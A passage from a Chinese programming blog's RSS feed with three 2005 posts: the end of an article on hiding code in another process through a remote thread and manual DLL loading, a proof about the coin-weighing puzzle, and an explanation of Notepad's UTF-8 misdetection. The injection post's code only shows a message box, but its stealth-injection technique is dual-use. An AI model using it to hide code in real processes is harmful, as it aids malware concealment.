<p>&nbsp;&nbsp;&nbsp;&nbsp;处理完隐式链接之后，ThreadEntry调用ThreadMain来进行完成远程线程的实际工作。可能你已经注意到ThreadMain有一个参数是HINSTANCE类型，但从ThreadEntry可知，它实际上是dll在宿主中的装入地址，为什么可以这样做呢？答案是：我不知道，你去问微软吧?。不过据我观察，普通程序的任何一个模块（module）的句柄都是其装入地址，所以我也就照猫画虎了。这也解释了前面处理重定位时把文件头放入映像基址的原因—系统需要文件头信息，我必须为它准备好（虽然LoadImportFx函数也需要文件头来定位输入表，但不是根本原因，因为完全可以让它使用其他方式）。 <br>&nbsp;&nbsp;&nbsp;&nbsp;下面是我的ThreadMain，它弹出前面提到的消息框。看到了吧？你可以像写普通程序一样写远程线程的代码，没有复杂的自定位，也没有烦人的显式链接，这个世界真美好！ </p>
<pre>DWORD ThreadMain(HINSTANCE hInst)
{
TCHAR szModule[256], szText[512], szFormat[256];
LoadString(hInst, IDS_FORMAT, szFormat, sizeof(szFormat) / sizeof(TCHAR));
GetModuleFileName(NULL, szModule, 256);
_stprintf(szText, szFormat, szModule);
MessageBox(NULL, szText, _T("远程线程"), MB_OK|MB_ICONINFORMATION);
return 0;
}
</pre>
<h3>小结</h3>
&nbsp;&nbsp;&nbsp;&nbsp;本文在相当大的程度上简化了进程隐藏技术，你甚至可以把它当作一个模板，仅仅实现一个ThreadMain就可以把代码隐藏到其他进程中去为所欲为了。但这决不是笔者写作此文的目的，我希望读者只把它当作一项技术，加深自己对windows系统的理解。其实，本文对动态链接的处理还远没有达到操作系统程度，举例来说：PE文件的数据目录现在使用了15项，但本文只处理了4项：输出表，输入表，重定位表和IAT（可以看作输入表的一部分），不把所有15项都处理完，远程代码的行为就可能与正常情况不同。我希望能与各位读者共同努力，不断完善这项技术，更希望大家能够负责任的使用它，利用它更好的防治各种有害代码。 </font><img src="http://blog.vckbase.com/localvar/aggbug/9883.html" width=1 height=1> 
<img src ="http://www.cppblog.com/localvar/aggbug/132928.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2005-07-21 09:50 <a href="http://www.cppblog.com/localvar/archive/2005/07/21/132928.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>称球问题的一般解法</title><link>http://www.cppblog.com/localvar/archive/2005/07/17/132929.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Sun, 17 Jul 2005 13:11:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2005/07/17/132929.html</guid><description><![CDATA[<font face=宋体>&nbsp;&nbsp;&nbsp; 称球问题相信大家已经很熟悉了，并且已经知道从12个球中找出坏球并判断其轻重最多只需要3次称量。但如果把球数改变一下，比如说13个球，答案又是几次呢？本文将对这一问题进行&#8220;深入&#8221;分析。为了后面叙述方便，先在这里把一般化后的问题重复一下：</font>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;有m（m&#8805;3）个球，记为q<sub>1</sub>、q<sub>2</sub>、&#8230;、q<sub>m</sub>，其中有且仅有一个坏球，其重量与其他的不同，现使用无砝码的天平进行称量，令n为称量次数，问：能确保找到坏球并指出它与好球的轻重关系的n的最小值是多少？</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;先来看理论上要多少次。每次称量有左边轻、平衡和右边轻共3种可能的情况，而坏球的可能结果有q<sub>1</sub>轻、q<sub>1</sub>重、q<sub>2</sub>轻、q<sub>2</sub>重、&#8230;、q<sub>m</sub>轻、q<sub>m</sub>重等共2m种。因此，根据商农的信息论，此问题的熵就是需要的称量次数，又因为n是整数，所以有：<img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-01.gif" border=0></font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;不过理论终归是理论，直接拿到现实生活中往往行不通。一个很简单的情况：4个球，上面的公式说2次称量就够了。但你可以想想办法，反正我是没找到两次解决问题的方案。 </font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;那，是理论错了吗？唔，我可不敢怀疑商农，我只敢怀疑我自己。来看看我们错在哪了吧。对4个球的情况，第一次称量只有两个可选的方案：方案1：q<sub>1</sub>放左盘，q<sub>2</sub>放右盘。若不平衡（由于对称性，只分析左边轻的情况，下同），则可能的结果还剩q<sub>1</sub>轻和q<sub>2</sub>重，再称一次就能找到坏球；若平衡，则可能的结果还剩q<sub>3</sub>轻、q<sub>3</sub>重、q<sub>4</sub>轻和q<sub>4</sub>重4个，再套用一下商农的定理，此时还要称<img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-02.gif" border=0>次。所以方案1被否决。方案2：q<sub>1</sub>、q<sub>2</sub>放左盘，q<sub>3</sub>、q<sub>4</sub>放右盘。此时天平肯定不会平衡，称量后，可能的结果有q<sub>1</sub>轻、q<sub>2</sub>轻、q<sub>3</sub>重和q<sub>4</sub>重4个。同样的道理，方案2也难逃被否决的命运。</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;在4个球这么简单的情况下就撞得满头是包，未免让人难以接受，总结一下经验教训吧，把上面的分析归纳一下并推广到一般情况，就是：整个称量过程中，要达到目的，倒数第k次称量前的可能结果数h，必须满足条件h&#8804;3<sup>k</sup>。</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;上面的得出的结论虽然不能让我们找到问题的答案，但却有助于我们确定每次称量的方案，特别是第一次如何做。假设我们计划的称量次数是n，第一次在左右两盘中各放x个球，则保证下面两个不等式同时成立是解决问题的必要条件：</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;2(m-2x)&#8804;3<sup>n-1</sup>&nbsp; （平衡时）</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp; 2x&#8804;3<sup>n-1</sup> （不平衡时）</font></p>
<p><font face=宋体>把这两个不等式稍加变换，就成了下面的样子：</font></p>
<p><font face=宋体></font></p>
<p><font face=宋体><img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-03.gif" border=0><br>注意到x是整数，3n-1是奇数，2m是偶数，所以上面的不等式等价于：</font></p>
<p><font face=宋体></font></p>
<p><font face=宋体><img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-04.gif" border=0><br>显然，在n一定的情况下，m越大，x的取值范围越小，而当x只能取值<img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-05.gif" border=0>时，m继续增大，就会导致n次称量找到坏球的计划破产。籍此，可以得出在n一定的情况下m的取值范围：<img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-06.gif" border=0>。发现了吗？现在m的最大值正好比我们最初的结果少了1。同时此结果也与前面提到的4个球的实际情况相符。</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;但分析了半天，我们只证明了m不在取值范围内时，n次称量不能确保找到坏球。那m在取值范围内的时候，肯定能找到吗？答案是肯定的，不过马上证明它有点难，先来看两个简单一点的命题。</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;命题1：有A、B两组球，球的个数分别为a、b，且0&#8804;b-a&#8804;1，已知这些球中有且仅有一个坏球，若它在A组中，则比正常球轻，在B组中则比正常球重。另有一个好球。先使用无砝码的天平称量，令<img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-07.gif" border=0>，则可以找到一个称量方案，使得最多经过n次称量，就可以找到坏球（此时肯定能指出它与好球的重量关系）。</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;使用数学归纳法证明如下：</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;①当n=1时，a、b的取值可能有{0，1}、{1，1}、{1，2}三组，由于还有一个已知的好球，所以不难验证此时命题成立。<br>&nbsp;&nbsp;&nbsp;&nbsp;②假设当n=k时命题也成立。<br>&nbsp;&nbsp;&nbsp;&nbsp;③当n=k+1时。我们将A、B两组球分别尽量平均得分为三组，记为A1、A2、A3、B1、B2和B3。不影响一般性，假设这六组球按球数从少到多的排列次序也与前面的顺序一致，且A1有球a1个。则第一次称量时的称量方案与每组球个数的对应关系如下，其中需要注意的是：在带蓝色的两种情况下，必有<img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-08.gif" border=0>，否则就与命题的前提不符了。</font></p>
<p>
<table id=Table1 cellSpacing=1 cellPadding=1 width="60%" border=1>
    <tbody>
        <tr>
            <td><font face=宋体>A1</font></td>
            <td><font face=宋体>A2</font></td>
            <td><font face=宋体>A3</font></td>
            <td><font face=宋体>B1</font></td>
            <td><font face=宋体>B2</font></td>
            <td><font face=宋体>B3</font></td>
            <td><font face=宋体>称量方案</font></td>
        </tr>
        <tr>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>A1、B1放左盘；A2、B2放右盘 </font></td>
        </tr>
        <tr>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1+1</font></td>
            <td><font face=宋体>A1、B1放左盘；A2、B2放右盘 </font></td>
        </tr>
        <tr>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1+1</font></td>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1+1</font></td>
            <td><font face=宋体>A1、B3放左盘；A3、B1放右盘 </font></td>
        </tr>
        <tr>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1+1</font></td>
            <td><font face=宋体>a1</font></td>
            <td><font face=宋体>a1+1</font></td>
            <td><font face=宋体>a1+1</font></td>
            <td><font face=宋体>A1、B2放左盘；A2、B3放右盘 </font></td>
        </tr>
        <tr>
            <td><font face=宋体 color=#0000ff>a1</font></td>
            <td><font face=宋体 color=#0000ff>a1+1</font></td>
            <td><font face=宋体 color=#0000ff>a1+1</font></td>
            <td><font face=宋体 color=#0000ff>a1</font></td>
            <td><font face=宋体 color=#0000ff>a1+1</font></td>
            <td><font face=宋体 color=#0000ff>a1+1</font></td>
            <td><font face=宋体 color=#0000ff>A2、B2放左盘；A3、B3放右盘 </font></td>
        </tr>
        <tr>
            <td><font face=宋体 color=#0000ff>a1</font></td>
            <td><font face=宋体 color=#0000ff>a1+1</font></td>
            <td><font face=宋体 color=#0000ff>a1+1</font></td>
            <td><font face=宋体 color=#0000ff>a1+1</font></td>
            <td><font face=宋体 color=#0000ff>a1+1</font></td>
            <td><font face=宋体 color=#0000ff>a1+1</font></td>
            <td><font face=宋体 color=#0000ff>A2、B2放左盘；A3、B3放右盘</font></td>
        </tr>
    </tbody>
</table>
</p>
<p><font face=宋体>很明显，不管结果是什么，第一次称量之后，问题都能转化为n=k时的情形。所以，命题1是真命题。</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp; 前面已经证明<img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-09.gif" border=0>时，n次称量无法确保找到坏球并指出其轻重关系。但如果此时也有一个已知的好球的话，答案就不一样了，这时n次称量就已经足够（命题2）。仍使用数学归纳法。</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;①当n=2时，m=4，验证一下可知命题成立。&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;②假设当n=k时命题也成立。&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;③当n=k+1时。我们把这些球尽量平均的分成三组，则每组球的个数分别为：<img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-10.gif" border=0>、<img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-10.gif" border=0>、<img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-11.gif" border=0>。第一次称量时，第一组和那个好球放左盘，第三组放右盘。若平衡，问题转化为n=k时的情形，不平衡，问题转化为命题1的情形。命题成立。 </font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;有了前面两个证明作基础，最初的问题就很简单了，再次祭出数据学归纳法。由于m&lt;5时的情况有些特殊(考虑只有一个球或两个球的情况)，不能作为递推得依据，所以我们从n=3，也就是m=5开始。</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;①当n=3时，m在5和12之间（13的情况已经被排除在外），通过一一验证可知命题成立。&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;②假设当n=k时命题也成立。&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;③当n=k+1时，找到一个满足不等式<img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-04.gif" border=0>的x，在天平左右两盘中各放x个球。如果天平平衡，问题转化为n=k时的情形或命题2中的情形；不平衡，则转化为命题1的情形。命题成立。</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;综上所述，称球问题的完整答案是：当球数<img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-06.gif" border=0>时，n次称量时就能确保找到坏球，并指出它与好球的轻重关系；当球数<img alt="" hspace=0 src="http://www.cppblog.com/images/vckbase_com/localvar/701/o_ball-09.gif" border=0>时，n次称量只能确保找到坏球，而无法指出它与好球的轻重关系。要想指出轻重关系，就可能需要多进行一次称量。但如果此时再有一个好球，就又可以把这次称量省掉了。 </font></p>
<img height=1 src="http://blog.vckbase.com/localvar/aggbug/9717.html" width=1> 
<img src ="http://www.cppblog.com/localvar/aggbug/132929.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2005-07-17 21:11 <a href="http://www.cppblog.com/localvar/archive/2005/07/17/132929.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>微软为什么和联通有仇</title><link>http://www.cppblog.com/localvar/archive/2005/07/12/132930.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Tue, 12 Jul 2005 01:51:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2005/07/12/132930.html</guid><description><![CDATA[<p><font face=宋体>网上流传着一个笑话，说微软和联通有仇，内容大致如下：</font></p>
<p><font face=宋体>如果你的电脑操作系统是WIN2000或WINXP的话，那么： <br>1. 在桌面上点右键，选择新建 — 文本文档； <br>2. 打开"新建 文本文档"，录入"移动"两字后存储后关掉 <br>3. 重新打开"新建 文本文档"，看到什么了？是不是刚刚录入的"移动"两字？ <br>4. 把"移动"分别换成"电信"和"网通"，重复1--3步，是不是也都没什么问题？ <br>5. 现在我们拿"联通"来试试，重复1--3步，你会发现刚刚录入的"联通"两字不见了，取而代之是个烧焦的手机电池(一个符号)。 看来微软确实跟联通有仇呀！</font></p>
<p><font face=宋体>笑话当然是笑话，不能当真。但为什么会这样呢？是微软的bug吗？确实有点像，不过——微软是世界顶级的软件公司，记事本则有可能是windows中最简单应用程序，说这是bug未免有点不合情理吧？</font></p>
<p><font face=宋体>好了，既然把自己的主观臆断否定了，就让我们踏上寻找事实真相的艰苦历程吧:)。</font></p>
<p><font face=宋体>不知你注意过没有，记事本的打开、保存对话框比普通的文件对话框多一个编码选项，可以通过它指定文件的编码是UNICODE、ANSI还是UTF8。"喔，我知道了"，你可能会说，"这肯定是windows api IsTextUnicode惹的祸。因为文本文件本身不保存编码信息，所以记事本打开文件时就要调用IsTextUnicode来判断文件的编码。而IsTextUnicode是根据文本的内容猜测其编码，所以肯定是它猜错编码格式了。想想&#8216;联通'只有两个字，这样的错误有情可原，OK了，问题解决了"。</font></p>
<p><font face=宋体>说实话，一开始我也是这么想的，但后来发现，我犯了两个错误。①IsTextUnicode并没有猜错，不信你可以检查一下IsTextUnicode("联通", 4, NULL)的返回值。②记事本有可能保存编码信息，这个后面再说。</font></p>
<p><font face=宋体>原来，记事本除了判断编码是不是UNICODE以外，还要判断它是不是UTF8。"联通"两个字的代码是(字节顺序从低到高)：C1 AA CD A8，转换为二进制是：11000001 10101010 11001101 10101000。对照UTF8编码方案(详情请见</font><a href="http://www.cis.ohio-state.edu/htbin/rfc/rfc2279.html"><font face=宋体>http://www.cis.ohio-state.edu/htbin/rfc/rfc2279.html</font></a><font face=宋体>)： <br>0000-007F之间的字符不做转换<br>0080-07FF之间的编码为110xxxxx 10xxxxxx<br>0800-FFFF之间的编码为1110xxxx 10xxxxxx 10xxxxxx <br>不难发现，"联通"的编码符合第二种情况，所以记事本把它判定为UTF8编码，而对其进行解码后，将变成00000000 01101010 00000011 01101000。注意：前两个字节解码后并不在0080--07FF之间，所以被认为是错误的值，忽略了。后面两个字节经过调整字节顺序后，将变为16进制的0x0368，也就是那块烧毁的电池了(取决于所使用的字体)。</font></p>
<p><font face=宋体>PS: </font></p>
<p><font face=宋体>1. 如果你保存文件时，指定使用除ANSI以外的编码，记事本将用文件开头的几个字节保存文件编码，UNICODE对应0xFEFF，UNICODE BIG ENDIAN对应0xFFFE，UTF-8对应0xBFBBEF。这几个字节被称为BOM(byte order mark, 字节顺序标记)。如果文件有BOM，记事本直接使用它判断编码，否则它就根据文件内容判断编码。</font></p>
<p><font face=宋体>&nbsp;2. 分析的过程中我用ultra edit来查看文件的16进制内容，但它会自动进行编码转换并给文件加上一个BOM，导致看到的和实际不符(文件4字节，到了ultraedit中就成了6字节)，让我走了一些弯路。</font></p>
<img src="http://blog.vckbase.com/localvar/aggbug/9510.html" width=1 height=1> 
<img src ="http://www.cppblog.com/localvar/aggbug/132930.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2005-07-12 09:51 <a href="http://www.cppblog.com/localvar/archive/2005/07/12/132930.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>